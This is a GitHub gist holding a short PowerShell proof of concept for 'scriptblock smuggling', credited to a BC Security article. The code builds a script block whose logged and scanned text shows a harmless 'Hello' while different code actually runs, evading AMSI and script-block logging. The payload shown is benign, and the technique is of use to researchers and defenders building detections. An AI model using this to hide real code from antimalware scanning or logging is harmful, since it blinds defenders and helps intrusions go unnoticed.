Created
June 18, 2024 11:36
-
-
Save k4nfr3/b6a54bdd647273a3261c8c2bc34a9c24 to your computer and use it in GitHub Desktop.
Powershell Scriptblock smuggling (AMSI ) from https://bc-security.org/scriptblock-smuggling/
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$SpoofedAst = [ScriptBlock]::Create("Write-Output 'Hello'").Ast | |
$ExecutedAst = [ScriptBlock]::Create("Write-Output 'My Hidden Hello Hidden'").Ast | |
$Ast = [System.Management.Automation.Language.ScriptBlockAst]::new($SpoofedAst.Extent,$null,$null,$null,$ExecutedAst.EndBlock.Copy(),$null) | |
$Sb = $Ast.GetScriptBlock() | |
$Sb& |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment